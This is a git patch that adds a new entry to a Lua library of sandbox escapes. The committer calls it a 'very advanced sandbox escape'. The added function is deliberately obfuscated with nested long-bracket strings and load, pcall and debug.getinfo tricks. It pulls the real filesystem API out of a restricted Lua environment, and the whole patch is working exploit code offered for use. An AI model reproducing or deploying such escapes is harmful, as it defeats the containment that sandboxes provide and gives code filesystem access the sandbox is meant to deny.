From bd70a7185fd9fa27e4b798b738e1427ce12083a5 Mon Sep 17 00:00:00 2001 From: 6_4 Date: Sun, 28 Apr 2024 21:01:32 +0000 Subject: [PATCH] add a new sandbox escape --- src/lib/sandboxescapes.lua | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/lib/sandboxescapes.lua b/src/lib/sandboxescapes.lua index 9806a30..760559e 100644 --- a/src/lib/sandboxescapes.lua +++ b/src/lib/sandboxescapes.lua @@ -48,6 +48,20 @@ local escapes = { local k = dgetfenv(load("")).fs if is_probably_filesystem(k) then return k end end, + equals = function() + -- very advanced sandbox escape + local k=load[=================[ + local _=({load[=======[local _; + return pcall(load[=[return load + ]=][=[=]=],function()_=load[==[ + return debug.getinfo(#[=[===]=] + ).func[=[return fs]=][=[]=]]==] + [=[]=]end),_]=======][=[==]=]}) + [#[=======[==]=======]]return _ + ]=================][===[==]===] + + if is_probably_filesystem(k) then return k end + end, getfenv = function() for _, v in pairs(fs) do local res = scan_environment(v) -- 2.47.0